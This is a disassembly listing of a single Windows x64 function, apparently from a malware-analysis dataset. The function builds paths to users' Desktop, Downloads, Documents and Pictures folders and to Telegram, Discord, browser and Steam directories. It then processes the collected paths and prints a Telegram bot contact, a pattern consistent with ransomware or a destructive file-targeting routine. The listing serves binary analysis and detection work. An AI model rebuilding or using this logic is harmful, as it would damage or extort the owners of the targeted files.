Function at 0x140084b40
Capabilities:
Execute command

Disassembly:
push r15
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x388
mov ebx, 1
call fcn.14000657e
lea rcx, str.chcp_65001
lea r13, [rsp + 0xa0]
call sub.msvcrt.dll_system
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov edx, 3
mov rcx, rax
call qword [sym.imp.USER32.dll_ShowWindow]
mov rcx, r13
call fcn.140015c20
mov rcx, r13
call fcn.1400165a0
test al, al
jne 0x140084bb7
mov rcx, r13
call fcn.140072ca0
mov eax, ebx
add rsp, 0x388
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
pop r15
ret
lea rdi, [rsp + 0x200]
lea rdx, str.explorer.exe
mov rcx, rdi
call fcn.1400747c0
mov rcx, rdi
call fcn.1400175b0
mov rcx, rdi
call fcn.140072ca0
pxor xmm0, xmm0
mov ecx, 0x40
movups xmmword [rsp + 0x68], xmm0
call fcn.140084330
mov rcx, rax
mov qword [rsp + 0x60], rax
lea rax, [rax + 0x40]
movabs rsi, 0x2e64617065746f6e
lea rdx, [rcx + 0x10]
mov qword [rcx + 0x10], rsi
lea rbx, [rcx + 0x20]
movabs rsi, 0x6578652e636c6163
mov qword [rcx], rdx
lea rdx, [rcx + 0x30]
mov dword [rcx + 0x17], 0x6578652e
mov qword [rcx + 8], 0xb
mov byte [rcx + 0x1b], 0
mov qword [rcx + 0x20], rdx
mov qword [rcx + 0x30], rsi
mov qword [rcx + 0x28], 8
mov byte [rcx + 0x38], 0
mov qword [rsp + 0x70], rax
mov qword [rsp + 0x68], rax
call fcn.1400175b0
mov rcx, rbx
call fcn.1400175b0
lea rax, [rsp + 0xc0]
mov rcx, rax
mov qword [rsp + 0x58], rax
call fcn.140015000
lea rax, [rsp + 0xe0]
lea rbx, str.C:Users_
mov r9, qword [rsp + 0xc8]
mov r8, qword [rsp + 0xc0]
mov rdx, rbx
mov rcx, rax
mov qword [rsp + 0x28], rax
call fcn.1400833e0
mov rcx, qword [rsp + 0x28]
lea rdx, str.Desktop
call fcn.140073770
mov rdx, rax
mov rcx, rdi
call fcn.140074620
lea rax, [rsp + 0x100]
mov r9, qword [rsp + 0xc8]
mov rdx, rbx
mov r8, qword [rsp + 0xc0]
mov rcx, rax
mov qword [rsp + 0x30], rax
call fcn.1400833e0
mov rcx, qword [rsp + 0x30]
lea rdx, str.Downloads
call fcn.140073770
mov rdx, rax
lea rcx, [rsp + 0x220]
call fcn.140074620
lea rax, [rsp + 0x120]
mov r9, qword [rsp + 0xc8]
mov rdx, rbx
mov r8, qword [rsp + 0xc0]
mov rcx, rax
mov qword [rsp + 0x38], rax
call fcn.1400833e0
mov rcx, qword [rsp + 0x38]
lea rdx, str.AppDataRoamingTelegram_Desktop
call fcn.140073770
mov rdx, rax
lea rcx, [rsp + 0x240]
call fcn.140074620
lea rax, [rsp + 0x140]
mov r9, qword [rsp + 0xc8]
mov rdx, rbx
mov r8, qword [rsp + 0xc0]
mov rcx, rax
mov qword [rsp + 0x40], rax
call fcn.1400833e0
mov rcx, qword [rsp + 0x40]
lea rdx, str.Documents
call fcn.140073770
mov rdx, rax
lea rcx, [rsp + 0x260]
call fcn.140074620
lea rax, [rsp + 0x160]
mov r9, qword [rsp + 0xc8]
mov rdx, rbx
mov r8, qword [rsp + 0xc0]
mov rcx, rax
mov qword [rsp + 0x48], rax
call fcn.1400833e0
mov rcx, qword [rsp + 0x48]
lea rdx, str.Pictures
call fcn.140073770
mov rdx, rax
lea rcx, [rsp + 0x280]
call fcn.140074620
lea rcx, [rsp + 0x2a0]
lea rdx, str.C:Program_FilesGoogleChromeApplication
call fcn.1400747c0
lea rcx, [rsp + 0x2c0]
lea rdx, str.C:Program_Files__x86_MicrosoftEdgeApplication
call fcn.1400747c0
lea rax, [rsp + 0x180]
mov r9, qword [rsp + 0xc8]
mov r8, qword [rsp + 0xc0]
mov rdx, rbx
mov rcx, rax
mov qword [rsp + 0x50], rax
call fcn.1400833e0
mov rcx, qword [rsp + 0x50]
lea rdx, str.AppDataLocalProgramsOpera_GX
call fcn.140073770
mov rdx, rax
lea rcx, [rsp + 0x2e0]
call fcn.140074620
lea rcx, [rsp + 0x300]
lea rdx, str.C:Program_Files__x86_Steam
call fcn.1400747c0
lea r14, [rsp + 0x1a0]
mov r9, qword [rsp + 0xc8]
mov r8, qword [rsp + 0xc0]
mov rdx, rbx
mov rcx, r14
call fcn.1400833e0
lea rdx, str.AppDataLocalDiscord
mov rcx, r14
call fcn.140073770
mov rdx, rax
lea rcx, [rsp + 0x320]
lea r15, [rsp + 0x1c0]
call fcn.140074620
mov r9, qword [rsp + 0xc8]
mov rdx, rbx
mov rcx, r15
mov r8, qword [rsp + 0xc0]
call fcn.1400833e0
lea rdx, str.AppDataRoamingdiscord
mov rcx, r15
call fcn.140073770
mov rdx, rax
lea rcx, [rsp + 0x340]
lea rbp, [rsp + 0x1e0]
call fcn.140074620
mov r9, qword [rsp + 0xc8]
mov rdx, rbx
mov rcx, rbp
mov r8, qword [rsp + 0xc0]
call fcn.1400833e0
lea rdx, str.AppDataRoamingMicrosoftWindowsStart_MenuProgramsDiscord
mov rcx, rbp
call fcn.140073770
lea rbx, [rsp + 0x360]
mov rdx, rax
mov rcx, rbx
call fcn.140074620
pxor xmm0, xmm0
xor eax, eax
mov ecx, 0x180
mov qword [rsp + 0x90], rax
movaps xmmword [rsp + 0x80], xmm0
call fcn.140084330
mov rsi, rax
mov qword [rsp + 0x80], rax
mov rcx, rdi
lea rax, [rax + 0x180]
mov r8, rsi
lea rdx, [rsp + 0x380]
mov qword [rsp + 0x90], rax
call fcn.140080e70
mov qword [rsp + 0x88], rax
mov r12, rax
jmp 0x140084fa9
mov rax, qword [rbx + 0x10]
lea rdx, [rax + 1]
call fcn.1400842f0
lea rax, [rbx - 0x20]
cmp rbx, rdi
je 0x140084fbe
mov rbx, rax
mov rcx, qword [rbx]
lea rax, [rbx + 0x10]
cmp rcx, rax
jne 0x140084f90
lea rax, [rbx - 0x20]
cmp rbx, rdi
jne 0x140084fa6
mov rcx, rbp
call fcn.140072ca0
mov rcx, r15
call fcn.140072ca0
mov rcx, r14
call fcn.140072ca0
mov rcx, qword [rsp + 0x50]
call fcn.140072ca0
mov rcx, qword [rsp + 0x48]
call fcn.140072ca0
mov rcx, qword [rsp + 0x40]
call fcn.140072ca0
mov rcx, qword [rsp + 0x38]
call fcn.140072ca0
mov rcx, qword [rsp + 0x30]
call fcn.140072ca0
mov rcx, qword [rsp + 0x28]
call fcn.140072ca0
lea rdx, str.333521
mov rcx, rbp
call fcn.1400747c0
jmp 0x140085037
mov rdx, rbp
mov rcx, rsi
call fcn.1400171c0
add rsi, 0x20
cmp r12, rsi
jne 0x140085028
call fcn.1400150e0
mov rdx, rbp
mov rcx, rdi
call fcn.1400159a0
mov rbx, qword [0x14008e7f0]
mov r8d, 0x8d
lea rdx, str.__________.
mov rcx, rbx
call fcn.140080f70
mov rcx, rbx
call fcn.140081d70
mov r8d, 0x1e
lea rdx, str.Telegram:__fast_svyaz_sh_robot
mov rcx, rbx
call fcn.140080f70
mov rcx, rbx
call fcn.140081d70
mov r8d, 0x7c
lea rdx, str.____________
mov rcx, rbx
call fcn.140080f70
mov rcx, rbx
call fcn.140081d70
mov rcx, rdi
call fcn.1400165d0
mov rcx, rdi
xor ebx, ebx
call fcn.140072ca0
mov rcx, rbp
call fcn.140072ca0
lea rcx, [rsp + 0x80]
call fcn.140071f50
mov rcx, qword [rsp + 0x58]
call fcn.140072ca0
lea rcx, [rsp + 0x60]
call fcn.140071f50
jmp 0x140084b99